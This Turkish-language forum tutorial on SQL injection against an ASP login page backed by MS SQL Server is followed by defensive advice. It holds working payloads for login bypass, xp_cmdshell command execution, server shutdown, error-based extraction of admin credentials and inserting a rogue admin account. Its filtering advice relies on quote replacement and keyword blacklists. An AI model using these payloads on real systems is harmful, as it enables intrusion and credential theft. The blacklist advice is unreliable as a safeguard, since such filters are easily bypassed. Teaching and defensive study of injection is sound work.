SQL İnjection Saldırıları ve Güvenlik

SQL İnjection Saldırıları ve Güvenlik

Uygulama içerisinde kullanılacak parametre değerleri alınırken kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle SQL İnjection güvenlik problemleri ortaya çıkmıştır.


Bu güvenlik problemleri kullanılarak bu uygulamaya destek veren veri tabanı üzerindeki bütün bilgilere ulaşılabilir veya bilgiler üzerinde değişiklik yapılabilir.

1. Bir Uygulama Güvenliği Problemi

Yapısal Sorgulama Dili SQLin uygulamalarda kullanımına örnek vermek gerekirse;

SELECT Name, Address FROM Users WHERE UserID = 1

Şeklindeki SQL Deyimi "Users" adlı tablodan "1" ürün ID si ile veritabanına kayıtlı olan kişiye ait olan isim ve adres bilgilerini dönecektir. Bu noktada muhtemel zayıflık, kullanılan formun SQL Deyimini yeniden yapılandırabilecek bazı özel karakterlere izin vermesiyle ortaya çıkmaktadır. Çözümü ise girdilerden bu özel karakterlerin filtrelenmesini sağlayan fonksiyonlardır.

2. Örnek Saldırılar

Güvenlikte sıkça kullanılan bir deyim; "Saldırganlardan korunabilmek için onlar gibi düşünmelisiniz!..". Saldırganın sisteminize girmek için kullanabileceği yöntemleri bilmek bu saldırılardan korunabilmek için alınan önlemleri daha sağlıklı kılacaktır.

Örneklerde kullanacağımız hedef ; Microsoft® Internet Information Server" dan Microsoft® SQL Server"a varsayılan sistem hesabından (sa) bağlanan ASP tabanlı bir kullanıcı hesabı yöneticisi olacak.
Form.asp : Username ve Password girdisini alan form.Solda...
Login.asp : Veritabanı ile bağlantıya geçen ve girdinin doğruluğunu kontrol eden ASP kodu.

2.1. Kötü Amaçlı () İmleçleri Yardımıyla İzinsiz Giriş Sağlama

Kullanıcı "Username" & "Password" verisini Login.asp ye yolladıktan sonra .asp kodunun yapacağı iş verilen yoldaki veritabanı ile bağlantı kurup ilgili tabloda Username ve Password sütünlarında gönderilen verinin doğruluğunu kontrol etmek olacaktır. Bu işlem sonucunda eğer sonuç olumluysa kullanıcıya; "Giriş Yapıldı" olumsuzsa; "Geçersiz Kullanıcıadı & Şifre" mesajı verilecektir.

Örnekleyecek olursak;

Username : Admin
Password : 1

Şeklindeki kullanıcı girdisi aşağıdaki SQL Deyimini oluşturacaktır;

SELECT count(*) FROM Users WHERE Username = Admin AND Password = 1

İlk bakışta sorun olmayan bir SQL Deyimi... Fakat saldırganın;

Username : Admin
Password :  OR 1=1--

Şeklindeki girdilerle oluşturacağı SQL Deyimi ise;

SELECT count(*) FROM Users WHERE Username = Admin AND Password =  OR 1=1 --

Olacaktır ki, bu durumda girişin sağlanması için şart "Admin" kullanıcı adına ait şifrenin hiçbirşey olması veya ikinci bir opsiyon olarak 1=1 eşitliğinin sağlanmasıdır.

Sonuç : 1=1 eşitliği sağlandığına göre saldırı başarıyla sonuçlanacak ve "Giriş Yapıldı" mesajı verilecektir.

Not : Microsoft® SQL Server" "--" imlecinden sonra gelen yersiz kullanılmış tırnak işaretlerini göz ardı edecektir. İlk bakışta basit gibi görünen ve sadece SQL Servera ait olan bu özellik ilerde örneklerden de anlaşılacağı üzere saldırgana büyük kolaylık sağlayacaktır..

2.2. Uzaktan Çalıştırılması Mümkün Olan Prosedürler

MS SQL Servera varsayılan sistem hesabından yaptığımız bağlantı SQL Enjeksiyon saldırısında muhtemel saldırgana sunucuda saklanan prosedürleri çalıştırabilmesi için gerekli hakları tanıyacaktır. Saldırganın kullanabileceği prosedürlerden bir tanesi; "master..xp_cmdshell" olabilir.

Username : Admin
Password : ; EXEC master..xp_cmdshell dir c:--

Girdileriyle oluşacak SQL Deyimi;

SELECT count(*) FROM Users WHERE Username = Admin AND Password = ; EXEC master..xp_cmdshell dir c:--

Sonuç : SQL Server Kullanıcıadı ve Şifreyi bulunduran sütunları arayacaktır bulamadığı için "Yanlış Kullanıcıadı & Şifre" mesajını verecektir fakat bu arada arka planda "dir c:" komutunu çalıştıracak ve saldırgan C sürücüsünün içeriğine ulaşacaktır.

2.3. SQL Server Hedef Alınarak Yapılan Saldırılar

Yönetici haklarına sahip saldırgan silme,ekleme,değiştirme...vb gibi komutları rahatlıkla çalıştırabilecektir.

SHUTDOWN WITH NOWAIT SQL Serverın kritik komutlarından bir tanesidir. Komutla beraber SQL Server görevine son verir.

Username : ; SHUTDOWN WITH NOWAIT--
Password : [Boş]

Bu girdilerle oluşturulan SQL Deyimi;

SELECT Username FROM Users WHERE Username=; SHUTDOWN WITH NOWAIT; -- AND Password=

Sonuç : SQL Server kullanıcıadının bulunamadığı mesajını verecektir. Fakat bununla beraber arka planda diğer komutu çalıştırdığı için SQL Server kapanacaktır.

2.4. ODBC Hatalarından Faydalanarak Yapılan Saldırılar

SQL Serverın verdiği hatalardan faydalanarak veritabanındaki neredeyse tüm bilgilere ulaşmak mümkündür.

Hedef;
http://victim/Default.asp?id=10 şeklinde ürün ID leri ile çalışan ASP tabanlı bir websitesi.

Saldırı SQL Serverın integer ve string cinsinden verileri birlikte gönderememesinden faydalınarak yapılabilir;

Gönderilen 10 sayısına veritabanından herhangi bir string eklenir.

http://victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Not: "INFORMATION_SCHEMA.TABLES" sistem tablosu, sistemde bulunan diğer tüm tablolar hakkında bilgi içerir. Deyimde kullanılan "TABLE_NAME" de yine tüm tablo isimlerini içerir.

Oluşacak SQL Deyimi;

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES

String -> Integer dönüşümünü yapamayan SQL Server aşağıdaki hatayı verecektir.

Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Table1 to a column of data type int.
/Default.asp, line 5

Hata, saldırgana "Table1" olarak bulduğu cevabı integer a çeviremediğini (dolayısıyla veritabanındaki ilk tablo adının "Table1" olduğunu) belirtmektedir. Saldırgan diğer tabloların adını aşağıdaki şekilde öğrenebilir...

http://victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN (Table1)--

Veya doğrudan LIKE komutunu kullanarak aradığı şeye daha kolay yoldan ulaşabilir;

http://victim/Default.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE %Login%--

SQL Serverın vereceği hata;

Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Admin_Login to a column of data type int.
/Default.asp, line 5

Admin_Login adında bir tablo olduğunu öğrenen saldırgan muhtemelen tablodaki ilk kullanıcıadı ve şifreye ulaşmak isteyecektir. İzleyebileceği yol ise;

http://victim/Default.asp?id=10 UNION SELECT TOP 1 Username FROM Admin_Login--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value Admin to a column of data type int.
/Default.asp, line 5

Bu şekilde "Admin" kullanıcı adının varlığını doğrulayan saldırganın şifreyi ele geçirmek için kullanacağı girdi;

http://victim/Default.asp?id=10 UNION SELECT TOP 1 Password FROM Admin_Login WHERE Username=Admin--

Hata;

Microsoft OLE DB Provider for ODBC Drivers error 80040e07
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 1 to a column of data type int.
/Default.asp, line 5

Sonuç :
Username : Admin
Password : 1

2.5. Veritabanına Ekleme Yapma veya Veri Düzenleme
Kullanıcıadı ve şifre bilgisine ulaşan muhtemel saldırgan benzer yöntemleri ve UPDATE,INSERT komutlarını kullanarak şifreyi değiştirebilir veya daha temizi başka bir kullanıcı hesabı açabilir...

http://victim/Default.asp?id=10; UPDATE Admin_Login SET Password = NewPwd WHERE Username=Admin--

Yeni bir kullanıcı hesabı için;

http://victim/Default.asp?id=10; INSERT INTO Admin_Login (UserID, Username, Password, Details) VALUES (666,Desperate_Cry,1,N/A)--



3. Nasıl Korunmalı?

Gelebilecek SQL Enjeksiyon saldırılarından korunabilmek için alınan önlemlerde temel alınması geren nokta... "Aksi doğrulanıncaya kadar tüm kullanıcı girdileri kötüdür!".

3.1. Kullanıcı Haklarının Sınırlandırılması

Yaygın olarak yapılan hata; Web Server dan SQL Server a yapılan bağlantılarda varsayılan sistem hesabı kullanılması... Bu şekilde yönetici haklarına sahip olan saldırgan örneklerde de görülebileceği üzere isteği komutu çalıştırıp istediği ekleme,silme,düzeltme eylemini gerçekleştirebilecektir. Bunu yerine yapılması gereken yeni bir kullanıcı hesabı oluşturup kullanıcının çalıştırabileceği komutları sınırlandırmak olacaktır.

Mesela sitenizden ürünlerinizin incelenmesine ve bunlar arasından sipariş verilmesine izin verecekseniz, "web_user" gibi bir kullanıcı adı oluşturup ürünleri incelemek için; ürünler sütununda sadece "SELECT" kullanımına ve siparişleri için; siparişler sütununda sadece "INSERT" kullanımına izin vermeniz uygun olacaktır.

3.2. Girdilerde Tırnak İmleçlerinin () Kötü Amaçlı Kullanımının Engellenmesi

Yaygın SQL Enjeksiyon saldırıları SQL deyimlerinin girdilerdeki gereksiz () tırnak işaretleri yardımıyla yeniden oluşturulması sayesinde yapılır.

Küçük bir filtreleme fonksiyonu veya tek tırnağı çift tırnağa çeviren bir fonksiyon muhtemel bir saldırıyı engellmek için yeterli olabilir.

ASP Kullanarak girdileri kontrol ederek değiştiren bir fonksiyon kolaylıkla yazılabilir;

<%
Function ReplaceQuotes(strWords)
ReplaceQuotes = Replace(strWords,,)
End Function
%>

Bu fonksiyonu baştaki örnekte kullanırsak;

SELECT count(*) FROM Users WHERE Username=ilkay AND Password= OR 1=1 --

şeklinde olan deyim...

SELECT count(*) FROM Users WHERE Username=ilkay AND Password=" OR 1=1 --

e dönüşecektir.

3.3. Form Girdilerinden Gereksiz Karakterlerin Elenmesi

SQL Enjeksiyon saldırıları genelde ";, --,SELECT, INSERT ve xp_" gibi karakterlerin-kelimelerin kullanılmasıyla yapıldığı için gönderilecek girdinin önce bir filtreleme fonksiyonundan geçirilmesi muhtemel zayıflığı engelleyebilir.Örneğin kullanıcıdan E - Mail adresini girmesi isteniyorsa harfler ve sayıların yanında sadece " @,-,_,." karakterlerinin kullanılmasına izin verilmelidir.

Ve sunucuda saklanan xp_cmdshell ve xp_grantlogin gibi genel prosedürler,C/C++ tabanlı DLL ler, kullanıcı taraflı fonksiyonlar...vb, izole edilmiş bir sunucuya taşınmalıdır. Bazı zararlı kelime-harfleri filteleyen ASP fonksiyonu aşağıda örneklenmiştir;

<%
Function FilterBadWords(strWords)
dim BadWords
dim NewWords
BadWords = array("SELECT", "DROP", ";", "--", "INSERT", "DELETE", "xp_")
NewWords = strWords
for i = 0 to uBound(BadWords)
NewWords = Replace(NewWords, BadWords(i), "")
Next
FilterBadWords = NewWords
End Function
%>

Tırnak değiştirme fonksiyonu ve filtreleme fonksiyonu beraber kullanılırsa;

SELECT Username FROM Users WHERE Usename=; EXEC master..xp_cmdshell dir c; -- AND Password=

Şeklindeki SQL Deyimi...

SELECT Username FROM Users WHERE Usename=" EXEC master.. cmdshell "dir c:"  AND Password=

e dönüşecektir ki bu da herhangi bir kayıt bulumadığı hatasını vermekten öteye gitmeyecektir.

Bu fonksiyonu kullanıcıdan gelen bütün girdilere, adres satırı ifadelerine ve çerezlerden gelen tüm veriye uygulamamız gelebilecek saldırının önüne geçecektir.

3.4. Girdi Uzunluğunun Sınırlandırılması

Veritabanındaki ayrılan alanın uzunluğu 10 karakterlikse, formunuzda bu alan için 50 karakter sığan bir text kutusuna sahip olmanız sakıncalı olabilir. Ve mümkün olduğu kadar girdi uzunluklarını kısa tutmak muhtemel saldırıyı engellemek için önlem sayılabilir.

3.5. Girdi Cinsinin Kontrol Edilmesi

Formunuzdan girilen verinin istediğiniz türden bir veri olup olmadığını kontrol eden bir fonksiyon kötü amaçlı kullanımlarda saldırganın kullanabileceği harf/sayı seçeneğini kısıtlayacaktır. Mesela, eğer Ürün ID si için formunuzdan girdi alıyorsanız girdinin sayısal bir ifade olup olmadığını kontrol eden bir fonksiyon fayda sağlayacaktır.

3.6. Girdi Cinsinin Kontrol Edilmesi

Formunuz aracılığı ile topladığınız verileri yollarken mutlaka "POST" metodunu kullanın ki kullanıcılarınız adres çubuğunda girdikleri verilerle beraber form değerlerini gördüklerinde akıllarına farklı fikirler gelmesin
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.